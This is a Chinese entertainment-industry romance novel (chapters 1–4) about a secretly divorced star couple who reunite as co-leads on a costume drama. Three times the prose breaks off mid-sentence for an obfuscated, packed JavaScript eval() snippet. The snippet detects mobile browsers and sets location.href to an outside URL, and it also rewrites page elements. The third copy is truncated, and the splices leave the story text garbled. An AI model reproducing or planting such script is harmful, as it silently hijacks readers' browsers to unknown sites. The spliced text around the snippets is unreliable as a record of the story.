《二搭[娱乐圈]》 1. 第 1 章 天光晴好,惠风和畅。噼里啪啦的鞭炮响声里,《胜春朝》剧组准时举行了开机仪式。 云灯翘着二郎腿坐在角落的器材箱上,身穿剧中的骑装,束着飒爽的高马尾,黑色发带滚着银边,被十月末寒凉的秋风吹拂。白衣黑裙,足少年英气,远远看去像一幅写意的水墨。 仪式主持人讲完开场白,开始介绍项目概况,摄像机对着舞台在拍。 镜头背后,她一只手握着手机,指尖轻敲手机壳。脸色很淡,看起来仍从容不迫,只有手指的动作显出些等待的不耐。 导演邓晓琼比她更耐不住性子,在一旁走来走去,不时朝舞台上张望。 情况离谱到有些好笑。 开机仪式是提前请人算好了良辰吉日,不宜随便改期。《胜春朝》剧组实际已经开拍了小半月,但直到今天,都还没见男主角的影子。 云灯主演的这部戏偏女子群向,即使是男主角,戏份也只是跟女二号持平,所以原定演员是个去年刚有些起色的三线小生,咖位合适,演技也过关。 不幸的是,这位小男主在进组前一周忽然升咖,跳票去偶像剧里演霸总了。 宁可毁约赔钱也要去演男主,显然是觉得来给女人的戏做配降低了身价。 “早该看出那小子空有一张好脸,没半点职业道德。”邓晓琼义愤填膺地推眼镜,“稍微有点红的苗头就翻脸不认人,头发短见识更短!以后肯定走不远!” “富姐消消气。”云灯不紧不慢道,“你微信步数都已经登顶了,要不要坐下歇会儿?” 她跟邓晓琼认识有些年头,剧组之外私交甚好。这位姐嫌“晓琼”“小穷”的会把她叫穷,于是朋友们都改口富姐富姐地叫。 片场工作时云灯多数还是会叫她导演。这会儿看她实在焦虑得不行,往旁边挪了挪让出一半位置给她坐,抬头望去,“你看这水晶玻璃天,湛蓝的。秋高气爽,我日子选得不错吧?” “爽不起来啊!还没亲眼看见主演就位,我放不下心。” 邓晓琼哪有心情赏景,一屁股坐她旁边问,“你老公什么时候到?” “今天可全靠他救场。否则开机仪式上没有男主角,照片传到网上非炸锅不可。” “不知道,飞机延误。”云灯说,“实在不行就让他单独补拍。” 邓晓琼又问,“那待会儿大合照怎么办?你身边总不能没有男主角啊。” 云灯认真道:“留个空位回头把他P上?” “……”邓晓琼竖起拇指,“真有你的。” 叶平川是央影表演系毕业,从大学算起已入行十年,国际电影节得过奖,拿过影帝小金人,稳稳的一线。 以他现在的行情,要接剧怎么都得是去超s+项目里挑大梁。来补位演一个角色高光还不及女配多的男主?杀鸡用牛刀,简直是无稽之谈。 但云灯在这里。 关系又实在不一般。 夫妻情谊大过天。什么咖位番位,都不及同在小红本上的那一位。 三年前两人因电影合作相识,由戏生情,恋爱结婚一路顺遂羡煞旁人,圈内外提起来都当作一段美谈。 关键时刻把叶平川搬来救火,剧组上上下下都松一口气。 只除了云灯自己。 “那么接下来,就有请我们的主创团队上台!” 拖延时间也有限度。直到主持人cue到流程,无法再继续等下去,云灯几不可闻地叹气,同和导演一起上台。 剧中主要演员站成一排。她作为绝对一番被簇拥在正中央,接过话筒,准备面对即将到来的尖锐提问。 手机在腰间震动了两下。 她动作略顿,蓦地抬眼望向远处,挑眉一笑。 媒体记者的镜头占据在各个角度,不停歇地闪烁。穿过密集的机位,她的目光敏锐地定位一个风尘仆仆的身影。 “叶平川真的来了?” “我的天,真是他!” 人群自觉地分开一条路。 叶平川私服低调现身,黑色风衣里月白衬衫散着领口,慵懒不羁,衬起一张帅得过分张扬的脸。 闪光灯更频繁地打来。云灯从容微笑,身旁也悄无声息地腾出了一个空位。 叶平川目不斜视,大步挟风地走到台前,接过话筒,在她身边站定。 “来晚了?”他微微侧头,用仅有两人能听到的音量。看上去像是在说夫妻间的悄悄话,亲密无间。 “不晚。”云灯忙着对镜头营业,没朝他看。 除了彼此没人知道,这是他们时隔八个月以来的第一次见面。 ** 恋爱和婚礼都万众瞩目,两人的婚后生活却出人意料的十分低调。除了年末典礼偶尔会牵手走红毯,平时很少同时出现在媒体前。 顶流夫妻罕见地合体,影帝降咖来演二番的传闻居然是真的。今晚热搜必定要爆开花。 亲耳听到叶平川在媒体面前称自己为剧中男主,且没把角色名字说错,邓晓琼总算是彻底稳住了心神,采访间隙打量两人,又暗暗一乐。 小两口还真有点默契。私服配戏服,也没提前商量过,往那一站却像穿了套情侣装。 揭幕环节,两人站在最中间,一左一右握住红绸,在全组的倒数中共同掀开,背板上手绘古风的剧名首度亮相。 “胜春朝”三个大字在金色的阳光照耀下熠熠生辉。晴空万里,当真暖如春日。 现场一片喝彩声,场务给所有出席的媒体和演职员派发红包,喜气洋洋。 “我言秋日胜春朝。” 叶平川接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071683|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过导演亲自递来的红包,道了声谢,“我记得立项时还不叫这个名,富导改的?好彩头。” “嗨呀,言秋改的。” 云灯在剧中饰演的女主角名叫沈言秋,在组大家都习惯了叫角色名字。 怕他不清楚,邓晓琼又笑眯眯地补充,“你老婆改的,确实好彩呦。” “……” 仪式里还准备了许多点心和下午茶,摆满好几张桌子。云灯拿了两杯奶茶回来,一杯给导演,一杯递给他,“特意选在你进组这天办的开机仪式喔。” 蜜糖似的漂亮话。 叶平川却兴致缺缺,淡声道,“太甜,喝不了这个。” 大合照拍完就没什么事了。邓晓琼不想夹在两口子中间发光发热,立马插上吸管走人,“你俩说话吧,晚上别忘了来我房间开剧本会。” “好。”云灯也没喝奶茶,把被拒绝的另一杯放回了桌上。 “去我车上说。” 她先往保姆车那边走。叶平川撇嘴,倒也没置若罔闻,落在她身后半步距离,缩小步伐跟着走。 临上车前又被记者朋友叫住,云灯停下来跟人说了几句话。他自顾自地继续往前走,上她的车是熟门熟路。 等云灯交涉完回到车里,他已经在靠窗的沙发上坐得舒舒服服,百无聊赖地撑着头,视线穿过单向玻璃往外看。 午后的自然光也格外偏爱他,侧脸轮廓在恰到好处的光线里鲜明起伏,介于硬朗和柔和之间,是男明星里也少见的精致。随动作露出的一截手腕上,戴着理查德米勒黑陶瓷腕表。 裸眼质感像电影里会出现的画面,更像是在拍奢侈品广告。 拥有一双欣赏美的眼睛,云灯诚实地多看了两秒。 她对花里胡哨的奢表并不感兴趣,之所以认得这个系列,是因为另一块白陶瓷正在她卧室的保险柜里躺着。 平心而论,叶平川脾气还行,在外也总被称赞亲切温和有礼貌。可举手投足之间,被养得很好的少爷做派还是会本能地流露出来。 就比如现在。 很明显是要人哄的姿态。 明明听着她上了车,关了门,却还是不跟她对视,也不跟她讲话。 桌上有小助理刚洗好的水果。叶平川捡了颗草莓吃完说不甜,又尝一颗青提说没熟。 “闹什么?一来就垮着张脸,没事找事。” 许久没见他这死出,云灯无语之余还觉得有点好笑,用温柔的声音说,“不想拍就走人,别逼我在这么吉利的日子扇你。” “哈。”叶平川仍倚在沙发里,半点没被恐吓到。斜睨她一眼,懒洋洋地开口,“我老婆才有资格扇我。你是吗?” “……” “需要提醒你吗。”他说,“我们八个月前就已经离婚了。” 2. 第 2 章 倒也不能说他故意拉着脸。 换了是谁连轴转通宵拍完大夜戏,杀青饭都没吃上一口就赶红眼航班飞过来救场,脸色都没法儿很阳光灿烂。 为了防止自己忙到神志不清中途猝死,叶平川飞机上还吞了两颗清心丸。 “是早就选好的日子吧。肯定还是让你那个神婆朋友算的。” 他冷笑道,“说什么特意等我进组这天办,跟我有一毛钱关系么?” 他的前妻是个撒谎精,漂亮话张口就来。 只听着漂亮而已,绝不保真。 “签完合同就有啦。”云灯从善如流道。 就没有她这样邀戏的。主演进组前几天才开口,跳过试镜,直接让经纪人和律师拟好了合同细则甩给他。 时间紧迫,好在两边团队对接效率都很高。叶平川略略看过电子版合同,就跟他们的离婚合同一样,是半点都不肯吃亏。 合同已经打印出来,云灯备在车里,专等今天他来,拿了给他再看一遍,没问题就当场签字。 其它的都没什么可说,她提出的拍摄要求叶平川全部配合。只有片酬是他亲自改的。 叶平川翻开纸页,视线扫过这份长达四个月的卖身契,确认自己定的片酬没被动过,唇线一抿,伸手要笔,“签,签完我去睡觉。困死了。” 云灯拿了笔坐在他对面。笔杆在瓷白手指间转过漂亮的圆弧,她没有直接递出去,却问,“你上一部剧单集片酬多少?” 叶平川撇嘴,倒是很不见外地报了个数。 “我溢价百分之五十给你,后期分红比例多少我也按同样的照给。” 云灯顿了顿,清亮的眼眸中晃映着他的影,“或者给我点时间,再弄一份更匹配的资源置换给你。” 叶平川不置可否,一双漆黑的眼睛幽幽地盯着她看。直叫人怀疑他心中有所动摇之时,又蓦地一嗤,“你溢价百分之五百都没用。” 他坏笑着微眯起眼,呲出不明显的犬牙,“就按我合同上拟好的条件来。否则我现在就回机场,随便飞个海岛关手机补觉。” “……” 谈恋爱到结婚几年,他都很少有说话这么硬气的机会。很难不怀疑他是在趁机逞凶。 云灯也只是最后一试,聊胜于无罢了,没指望真能说服他更换片酬。 叶平川颇有家底,这辈子没为钱发过愁。撇开身世,本身入行年久也有资历,现如今已然有市无价,主动找来的剧本推都推不完,想要什么类型的资源都不会缺。 这样的人,很难用利益去打动。 无奈她实在拉不来比叶平川演技过关,形象气质乃至于档期都更合适的演员。甚至叶平川还不完全算是空降进组——他其实很早就看过剧本,对这部戏有一定的了解。 立项的时候,俩人还没离婚呢。 “还不签?” 叶平川也知道,才如此有恃无恐,“除了我,你找不到更合适的人选。” 真话总是听来格外刺耳。 同一支笔,云灯和他先后签上自己的名字,“你可别后悔。” “这话该是我对你说才对。” 终于签完字,叶平川起身,反手抵着车棚顶伸了个懒腰。忽地向她低头,弯下腰,咫尺距离,几乎碰着鼻尖。 “敢叫我来……”他呼吸灼烫,语气却冷而硬。是他的战书,也是她的军令状。 “你最好有些心理准备。” ** 开机仪式的照片被传到网络,热搜是必买的。营销号们纷纷转发的九宫格,云灯下午忙完抽空看了一眼,拍得还不错。 《胜春朝》选角时前期已经做过几次宣发,完全没透露出叶平川的影子。这下乍然现身,在评论区里引发轩然大波也是意料之中的事。 【卧槽这是???二搭!!!】 【叶平川居然也在?!一把子期待住了!!】 【啊啊啊期待老婆的新剧!传奇女帝沈言秋一起走花路吧!!】 【妈咪这个造型帅得我有点遭不住了……请狠狠地用美貌鲨我!】 【好养眼的两口子啊啊啊万万没想到居然是夫妻档!!期待值拉满了】 【居然瞒得这么好呜呜呜呜原来是想给我们惊喜啊豹豹猫猫我又出生了!】 【宝贝新剧开机大吉!一切顺利!!】 【……】 因为叶平川的加入,《胜春朝》开机宣传强度远超预期。 云灯浏览几分钟,和自己的粉丝站互动一下,又去瞥了眼叶平川的微博。 没动静,应该是在睡觉。她也下了线。 目前来看,事情解决得颇尽人意。毕竟她自己也是投了钱进去的,剧的损失都跟她有直接关系。 不只是钱,还有心血。她看着这部剧立项,剧组班子一点点建起来,选角试镜都参与了大半。开拍后,她在剧组里也拥有相当的话语权,跟组编剧每一次调整剧本,哪怕只是改几句台词,都要问过她的意见。 这是她第一次全程参与项目。剧播出后不仅仅是主演,出品和制片,乃至于编剧栏都得写上她的名字。自然也要比别人更操心。 男主跑路不仅是丑闻笑料,还会动摇军心,她必得想办法稳住投资人,减低风险。 并非没有想到过其他人选,只是剧组一开机就每天都在烧钱,容不得太多犹豫和考量。 请叶平川来救场,看似塞翁失马,因祸得福,实则是她仅有的选择。 但凡还能拉到别人入伙,她也不愿意刚离婚几个月,就这么快又跟前夫有牵扯。 今晚还排了戏,云灯抽不出空,提前叫助理小天去酒店打点叶平川的一应吃住需求。在片场待到凌晨两点才回酒店,又去导演房间开会复盘。 隔天早上九点起床做妆造,去片场开工,在车上吃早餐的间隙里,她接到梁天的消息。 【姐,川哥说今天就不让我跟他了,拍完定妆照我就来片场找你】 叶平川睡足十个小时满血复活,上午跟化妆组去试了男主造型,正在拍定妆照。 那边的同事还问她要不要过去看,云灯翻着剧本回说没空,“在拍戏。你们直接弄好照片发过来。” 拍个定妆照有什么好看的。 云灯脑子里只有开工开工。 剧本会根据每天的拍摄情况有所调整,她手里的文件夹贴着荧光便签,厚厚一本,五颜六色的堆叠起来倒也生动好看。 中午到剧组,开工前云灯还是收到了拍摄现场发来的实况图。 叶平川一身文官造型,朝服和常服都驾驭得很不错。简单的青色玉冠束发,整个人远山般温和沉稳,清朗而隽永。 眼神收敛得很到位,显然是已经熟读了剧本,在角色状态里拍的。 云灯看完,给还在现场的小助理发语音,“叫他从今天开始减重,不准吃晚饭。” 叶平川刚杀青的电影是部犯罪片,为了片子里几秒钟的脱衣镜头,特意提前两个月健身,戏拍完了体格还在。扮上她戏里的男主角,还是太壮了点。 让他演文官清流,一身腱子肉成何体统?自然是要瘦些才有风骨。 刚说完,手机又接连震动两下,是联系人“小马哥”给她发消息。 【我在旁边都听见了】 【饭都不给吃?】 她敷衍地回了一张摸摸头的小狗表情包,把叶平川的备注改成“谢凭渊”,是剧中男主的名字。 谢凭渊,字慎远,世袭永宁侯之爵位,开场已官居三品,位高权重。在剧中以儒雅俊美,运筹帷幄的形象登场。 从现在开始,叶平川最主要的身份不是什么前夫,而是和她搭戏的同事。是大庆朝的永宁侯谢凭渊。 ** 《胜春朝》主要讲述了女主沈言秋从将府侍女,步步攀登揭开身世之谜,最终登基成为女帝的传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071684|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇人生。 云灯作为剧中毫无疑问的一番女主,拍摄量也是全组最大的一位。 起早贪黑地忙了半个月,如今候场时演员们跟她交谈,话里话外却都是在打听叶平川。 这个世界对男人果然还是太溺爱了。 “姐,川哥已经拿到剧本了,第一场就是今天晚上跟你的对手戏。” 梁天兴冲冲地跟她汇报,“群里都炸锅了,昨天来开机仪式探班的粉丝有好多都没走,说想来亲眼看你们拍戏呢。” “就说场地拍摄有限,让大家回家路上注意安全。”云灯道。 这部戏是朝代架空的古装剧,大部分时间都在影视基地里拍摄。影视城不止一个剧组,人多口杂易生是非,“隔壁组有人来打听也拦着点,但要注意态度。” “哦哦,我知道。姐你放心吧,我昨天晚上就跟她们交待过了,主打一个线上火爆线下低调。” 梁天抓起忙到没空洗的头发,熟练地扎成个丸子,嘿嘿笑道,“这真是阴差阳错,无巧不成书啊。不过其实我也挺想看你俩搭戏的,感觉你们都好久没见面了呢。” 她跟着云灯做助理有年头了,胆大心细,好不容易才磨合出的默契。云灯情绪稳定,对员工也足够大方,作为老板真挺好的,她踏踏实实干活,从没想过跳槽。 不过云灯拍和叶平川一搭定情的那部电影时,她还不在,只听说是部千里追凶的公路片,两人在里面演了一对生死边缘交付信任的搭档。 多么美妙的吊桥效应。 给她嗑到了。 两人从共事到恋爱,再到领证,加起来都不足一年,完全可以算是闪婚。 若非遇上灵魂伴侣,怎会这样强烈而笃定? 当下又是临危助阵,患难真情。 梁天忍不住脑补“夫君,可来相助”的戏剧性台词,自顾自磕得起劲。 只是这些年,两人各自都在事业上升期,忙得没什么时间见面。她作为助理都时常替小两口惋惜。 现在一个组里拍戏,每天都见面,肯定有好多糖可以吃。 好耶。作为隐藏的CP粉,她笑得这叫一个心满意足。 “是啊。”云灯也笑了笑,意味不明道,“是很久没见了。” 所谓吊桥效应,不过是荷尔蒙分泌的产物,又能维持多久呢。 情热褪却,相看两厌。婚姻自然也就没有存续的必要。 两人约定过,离婚第一年暂不和亲朋好友透露。即使是经常相处的小助理也毫不知情。 “川哥都好久没接电视剧了,别人叫他肯定不会点头的,还得是你开口啊姐。为老婆撑腰天经地义~”梁天不晓得内因,还在那磕呢。 “而且他的演技怎么是那帮刚毕业没多久的小孩能比的?上午我才刷到一篇报道,说川哥是娱乐圈紫微星呢。有他在,肯定还能多整几个出圈的高光镜头,对我们剧的口碑也是很好的!” 云灯听着,蓦然笑出声来,揶揄地哦了一声。看小助理不知所措地停住,伸手轻弹一下她的额头。 “他很牛吗?可是我拿影后比他早一年,新人奖也比他早很多哦。” 她二十一岁时首部电影上映,出道即大爆,拿了最佳新人奖。之后休息了几年没有作品,复出的第二部电影就是和叶平川搭档,又是大爆。 搭档的电影让她在当年的金蛇奖拿了影后,叶平川也首度获得最佳男演员提名,次年把影帝奖杯抱回了家,可以说事业上两人是相互成就的。也因此,两人闪婚时粉丝虽然震惊,接受度却颇高。 实在般配。 无论从外形条件,还是事业发展高度,都是无可挑剔的一对璧人。 可细论起来,终究她光芒更盛。 云灯准备走戏,脱下外套交给助理保管,语气温和,却带着与生俱来的孤傲。分不清是属于角色,还是来自于她本身。 “我才是真正的紫微星。” 3. 第 3 章 一年一度的元宵灯会,向来是城中青春男女自由相看的好时机。 镇国公家看上了将军府的独女段婉心,有意让幼子与其结亲。 媒人还没上门,借着出来逛灯会,两家打算让孩子们先自行相看一场。 这场元宵大戏,是主演们第一次集合亮相的重头戏。 饰演段婉心的演员孟瑜今年才刚从舞蹈学院毕业,签进云灯的公司里。 这是她首次参演长剧,在老板的资源带动下,才拿到如此重要的角色。 上来就要和两位一线地位的前辈搭戏…… 灯火葳蕤中,她紧张得手心儿打滑,拿不稳丝帕。 云灯在旁边擦拭袖箭的箭筒,“很好,保持住,待会儿见了情郎就要这个感觉。” “……” 云灯饰演的女主沈言秋,身份原是庆朝皇后所生之女,因宫变而被送到皇城之外。 护送的嬷嬷谎称她是战场遗孤,送她进将军府当了小姐的贴身侍女,隐去皇姓,只叫她言秋。 言秋与段婉心自幼一同长大,念书识字,弹琴对弈。名义上是主仆,私下里亲如姐妹。 将军府这代只得一子一女。就这么一个掌上明珠,自然是万千宠爱地娇养着。段婉心的妆扮富丽华贵,发髻也不像寻常武将人家那样干练,而是梳了对灵动的望仙髻,珠花步摇点缀满头,配着外罩薄纱的粉色斜领襦裙,紧张地双手捧脸,像只小水蜜桃。 “要是哥哥在就好了……” “他替陛下去打仗,我陪你也是一样的。” “可我还是心慌。” “相个亲而已,你看不上就不嫁。镇国公家难道还能吃了你?” “你怎么把嫁人说得这样轻松,那干脆等我兄长凯旋,就叫他娶你做新娘子好了!” “又在胡说八道。” “谁胡说啦,他心里有你。你也是很盼望他回来的对不对?你们可瞒不过我。” 两人对着台词,布景和群演都已就位。城中摊贩花灯堆叠,游人如织,热闹非凡。 叶平川来时,正看见她们在笑。 云灯穿了一身配色简洁清爽的绿襦裙,发髻上没有太多装饰,站在那处仿佛蕴着光。淡玫瑰色的嘴唇弯起羞涩弧度,水盈盈的一双眼眸中闪烁着欣喜,明亮动人。 叶平川很久没见过她露出这种怀春少女的表情,站住脚步,在不远处原地看了几秒。 云灯余光掠过他,念台词时的小女儿情态一扫而空,“怎么这么晚?” 果然只有演戏才会这样。 叶平川冷哼一声,继续走过来,大步流星,一般人都跟不上。化妆师小跑给他补妆。 “看一下剧本,昨天晚上跟导演商量调整了你的出场。” 云灯把待会儿要拍的两页纸递给他,“找找这个感觉,要是觉得不行,咱们待会儿再调。” “还轮得到我感觉不行啊。进了你的组,当然全听你的。你是领导。”叶平川一目十行地扫了一遍,吊儿郎当。 “领导让怎么演就怎么演。” “……” 阴阳怪气。 还没等云灯开口骂,他又悠悠地补充了句,“早就让导演拍照发我了,来的车上看过。” “还有,凌晨收工回酒店,开到天亮才回房间,你那也叫昨晚开会吗?没事多备点清心丸,免得着急上火晕片场了更耽误功夫。” 云灯道,“你怎么知道我回房间的时间?” “你管我。睡不着起来遛弯也不行吗。” 不必听他满嘴跑火车,云灯即刻便猜到是身边出了叛徒。 刚开始谈恋爱那会儿,叶平川就拿双倍月薪贿赂她当时的助理。她还想怎么那么巧,每次工作都跟他碰上,散场后一起吃了无数次早午晚餐。 后来才知道,自己的行程早就被出卖了。 梁天是个cp脑,这种事不用给钱她也乐得向叶平川透露。 云灯懒得管这些小九九,只卷起剧本敲了一下他的头,“正经点。” 叶平川个子太高,站着化妆师够不着,正弯腰屈膝,仰着脸。额头上挨了一下,他剑眉一挑,“你把我粉底蘸走了,还我。” “……” “噗。” 孟瑜实在没忍住,拿手帕掩住笑,用问候掩饰尴尬,“呃……那个,叶老师好。” 叶平川没见过她,淡淡地嗯了一声。 “行了。”云灯把人推走,“去找导演,让她给你讲讲戏。” 演员都已就位。邓晓琼坐在摄像机后,让镜头先过一遍确认动势,角度高度,构图的色彩和照明效果,让画面达到满意的状态。 灯火交相辉映,故事在这座繁华的不夜城中正式上演。 谢凭渊公务繁忙,平日并不参与人挤人的灯会,这次是受亲友所托,陪镇国公家的小公爷姬垣一起出来相亲,免得孩子露怯。 话虽如此,他也不甚懂得风花雪月之事。 早年间他在老家曾有位未婚妻,说是两人还在娘胎时便已经定下,是指腹为婚的娃娃亲。可惜那女子实在身体羸弱,都已经定了成亲的日子,却还是没能撑到进京之时。 谢凭渊本就对男女情爱不甚热衷,只嫌后院吵闹会耽误他做公文上朝,索性便以思念故妻之由,回绝了无数联姻。 否则也不会三十出头了,还是孤寡一人。 侯府与国公府的长辈叫他来相陪,自然不可能是相中了他身上的超绝孤寡力。而是指着他相貌俊美,仪表堂堂,跟着来壮壮门面。 等见着将军之女段婉心,姬垣可比他活泛多了,又是给买糖人,又是陪放河灯的,完全不用操心。 他便只当个移动的人形门面就够了。 同样与他跟着当摆设的,还有段婉心的侍女言秋。 段婉心只出发前心里打鼓,见了人压根不怯场。前面一对青春男女似乎很谈得来,言秋便也只安静地跟着,买了什么帮着拿一下而已。 姬垣惯会讨女孩子欢心,但凡段婉心多看一眼的东西,他即刻便买。 小姐倒是玩得欢快。可怜言秋只有一双手,很快就要拿不下了。 “给我吧。”谢凭渊温声道。 沿街的灯光映亮他高挺的鼻梁,眉眼十分好看,说话的声调也叫人如沐春风。 寻常小厮侍卫必不会生得如此高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这似乎并不值得骄傲。可她说起来与有荣焉,姬垣也被这真性情的姑娘可爱到了,正要开口打趣时,闹市中忽然有受惊的马匹疾驰而来。 正朝着他们的方向! 事态突变。人群被踩踏哀嚎着倒下,慌乱无序。屋檐阴影处,隐匿的暗卫闪身而出,飞到谢凭渊身边,将四人护住。 “卡!” 邓晓琼拿着小喇叭喊,“谢大人你手上动作多余了哈,别以为镜头看不见。再来一条。” “……” 温和镇定的表情瞬间裂开。叶平川抬手比了个ok。 “你干嘛了?”云灯在戏里没看见。 游人们四处逃窜,慌不择路。群演撞过来时,她首先挡在段婉心身前。 叶平川却下意识地伸手拦在她腰侧,抵开即将挤到她身上的重量。 如果云灯真的被撞倒了,或是站立不稳,他再去扶,反而不用卡。 但坏就坏在这超前的条件反射。是不符合角色当下感情进度的。 死手,反应太快了。 “能干嘛。”叶平川自己也来气,没好声调,“手抽筋入画了。” 4. 第 4 章 这场闹市惊马的段落又补拍了两遍,演员调度也越发流畅纯熟。 千钧一发之际,言秋巧用隐藏的袖箭射中马腿,改变了袭击的方向。 段婉心被谢凭渊身边的暗卫救下,毫发无伤,最难过的不过就是手中的灯魁被弄脏。 御赐之物不能随意丢弃,言秋拿着送给了馄饨摊老板的小闺女。 段婉心是身居闺阁的千金小姐,她却可以借着采办事务出府走动,通晓民情。 再漂亮的灯带回将军府,也只会变成落灰的玩具。但交给平民百姓,或可助他们改变命运。 动乱平息,家中的马车终于赶来迎接。分别之时,段婉心红着脸看向刚刚救下自己的暗卫,惊觉这人似乎比小公爷还要英俊几分,更有男子气概。 言秋扶她上了马车,分别之际,又望了一眼同游的男人。 马匹怎会无故受惊?甚至直扑朝廷重臣而来。 她和段婉心不过是闺阁女儿,素日深居简出,也没机会与人结怨。这次的事多半是针对谢凭渊。 看来帮她拎了一路糖糕和花灯的份儿上。 言秋行了一礼,不乏暗示道,“大人保重。” 街道两旁灯火依旧,寄托的心意却阴差阳错,晦暗不明。 下了戏,孟瑜去找饰演暗卫的演员,沟通明天的剧情里如何互动。 她在剧中的官方cp并不是相亲的小公爷姬垣,更不是低调沉稳的谢大人,而是刚刚救了她一命的暗卫哥。 同样是新人演员,多交流也好。云灯叮嘱她不要太晚回酒店,更不要恃糊行凶随便进入别人房间看夜光剧本。现在被狗仔拍到,以后爆出来有嘴也说不清。 交待完她就去跟导演看今天拍的片子,粗略地审了一遍,时间又已是凌晨,才叫梁天开车准备回酒店休息。 叶平川早洗了脸,在她车里吹暖气,只穿着件简单的白色短袖,没骨头似的瘫在沙发上,给家里打电话。 以往他每拍完一部戏,都会留至少一个月的休息时间,陪陪家人再出去度个假,也有利于走出角色状态。 这次他才杀青,隔天就又进组。给孩子当骡子使唤,如果不是说了来给老婆帮忙,他爸妈肯定是要有意见的。 家里又不缺这几个钱,犯不着他这么卖命地拍戏。 “你不回家也不早说。”叶其斌说,“我跟你妈本来就要飞巴黎,为了等你拍完戏,还推迟了一周。” “巴黎有什么好玩的啊,不就一个铁塔,大街上都臭烘烘的。” 叶平川语气颇为不满,“你们要真是想我,飞半路下来看看我不就行了么?就是不想带我玩。感情淡了直说。” 云灯反手关上车门,听见手机里隐隐骂了句“你自己没有老婆吗”,不太给面子地笑了一下。 往日里她为了表现,也曾殷勤地去叶平川家里探望,给叶爸爸选酒,陪叶妈妈逛街买包。婚前婚后,明里暗里地收集情报,可以说是很了解叶平川家的情况了。 叶平川也算是世家子弟。但叶家祖宅在京市,他这一支为避家族争斗,从爷爷辈开始就迁到南江,远离权力风波的中央,低调地绵延生息。 南江的叶家没有过于盘根错节的亲戚关系,京市里各个支系的叔伯婶娘也不常来拜访。人口构成要比本家简单很多。 叶平川的成长环境便也比一般的世家子弟更加自由松弛,只享到了世家积蕴的好处,却没多少规矩束缚。生来就是享福的命。 更加难得的是,他跟父母之间感情很好,深厚且和谐,是非常健康的家庭关系。刚开始接触时,云灯一度怀疑这家人是在互演。 主要是,她真的从没见过有钱还这么正常的家庭。别说在演艺圈里,放眼全社会都很是少见。 云灯也出身南江。 两人刚认识时,还曾借由同乡这个巧合打开话题。但她的家庭状况,相比之下可以说是一塌糊涂,糟心到她极少会提。 听见她的笑声,叶平川挂了电话,烦闷地把手机扔到一旁。看起来更加心气不顺了。 他还没跟家里提离婚的事。一是因为答应了云灯,再者是自己也觉得没脸。 当初婚礼摆得很大,他也是猪油蒙了心,就那么矢志不渝地坚信两人能好一辈子,宣个誓快赶上喊麦了。 结果不到三年就偷偷离婚。谁敢相信?他自己都不敢信。 顺风顺水地活了二十多年,叶平川从没想过,人生最大的挫折会是在婚姻上。 父母爱情是现成的模板。从结婚的那一刻起,云灯就被写进了他的遗嘱里。他打从心底不认为两人日后居然还会有分开的时候。 最让他难以自洽的是—— 他其实并不知道,两人离婚的真正原因是什么。 暴风雨来临的夜晚,两人在度假别墅里爆发了最激烈的争吵。 云灯对他态度骤变,铁了心要分开,任凭怎么哄都没用。 一声声地说,因为各自工作都很忙,没有太多时间留给感情。说聚少离多感情早就淡了,强行待在一起让她很不舒服。 说很后悔跟他结婚。 如果只是谈恋爱,分个手就行了。可离婚这么麻烦,要通知亲友,分割财产,以后消息被爆出来还要跟粉丝解释,承担舆论压力。前些年因为结婚获得的关注,很可能一夕之间全部掉光。 即便是这么的麻烦,这么得不偿失。云灯也依然坚定地要跟他离婚。 “好好的一张帅脸,不要拿来做这种皱巴表情。”云灯在他对面坐下。 叶平川心气稍顺,还没等开口,就又听见她说,“别皱出褶子来,明天拍戏该卡粉了。” “……” 这说的是人话吗。 放弃假期跑来救场,叶平川觉得自己根本没有得到一个救火员的基本尊重。 梁天开车。回酒店的路上,两人面对面坐着也没说话,各忙各的。 云灯是真的在忙,一会儿回消息一会儿接电话,插空还要翻手上的剧本。 叶平川捏着手机,有一下没一下地划着屏幕,也没心思玩。听她变脸似的换着声调,时高时低,跟不同身份的人交谈。 电话一挂就面无表情。收得那叫一个利落,不愿再多花半分力气。 云灯本人,跟剧里的沈言秋很不一样。 有需要的时候,她并不介意笑脸逢迎。她好像天生就知道该怎么对待不同身份的人,懂得变通,视情况放低姿态。 那种恰到好处的精明圆滑,能最大程度地给自己争取利益,又不至于谄媚到惹人反感。 即使有几分傲气,也是融在骨子里的,不会浮于表面,端着架子给人看。 再加上……她真是漂亮。 声音也动听。 云灯跟他一样,本科就读于专业的电影学院,只不过是在港市。千里之外,与他隔了一片难以跨越的海。 浓情缱绻时她细细的喘息,柔弱无骨,也曾依偎在他胸口,语带骄傲地说自己台词课是满分。呼吸拂过耳畔,真是要命。 谈恋爱时不会想那么多。可现在分开了,叶平川有时候也会怀疑,她跟自己在一起时露出的笑容,吐露的蜜语,究竟有几分是含着真心。 科班出身的演员,尤其是女演员,漂亮是最基本的条件,顾盼生辉是必不可缺的风情。 